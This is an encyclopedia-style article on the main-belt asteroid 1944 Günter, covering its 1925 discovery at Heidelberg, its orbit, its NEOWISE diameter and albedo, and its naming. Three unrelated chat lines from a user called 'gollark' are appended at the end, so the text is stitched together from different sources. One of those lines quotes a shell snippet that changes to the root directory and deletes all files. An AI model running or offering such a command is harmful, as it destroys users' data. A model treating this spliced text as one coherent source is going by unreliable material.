1944 Günter, provisional designation 1925 RA, is an asteroid from the inner regions of the asteroid belt, approximately 5 kilometers in diameter.

It was discovered on 14 September 1925, by German astronomer Karl Reinmuth at Heidelberg Observatory in southern Germany, and named after the discoverer's son, Günter Reinmuth.[2][4]

Orbit and classification

Günter orbits the Sun in the inner main-belt at a distance of 1.7–2.8 AU once every 3 years and 4 months (1,224 days). Its orbit has an eccentricity of 0.24 and an inclination of 5° with respect to the ecliptic.[1] As no precoveries were taken and no prior identifications were made, the body's observation arc begins at Heidelberg, one night after its official discovery observation.[4]

Physical characteristics

According to the survey carried out by NASA's Wide-field Infrared Survey Explorer with its subsequent NEOWISE mission, Günter measures 4.9 kilometers in diameter, and its surface has an albedo of 0.117.[3] As of 2017, its composition, rotation period and shape remain unknown.[1][5]

Naming

This minor planet was named by Karl Reinmuth after his son, Günter Reinmuth.[2] The official naming citation was published by the Minor Planet Center on 18 April 1977 (M.P.C. 4157).[6]

gollark: WHY™

gollark: ` shell.run("cd /") shell.run("delete *")`

gollark: And it ASKS to do things!
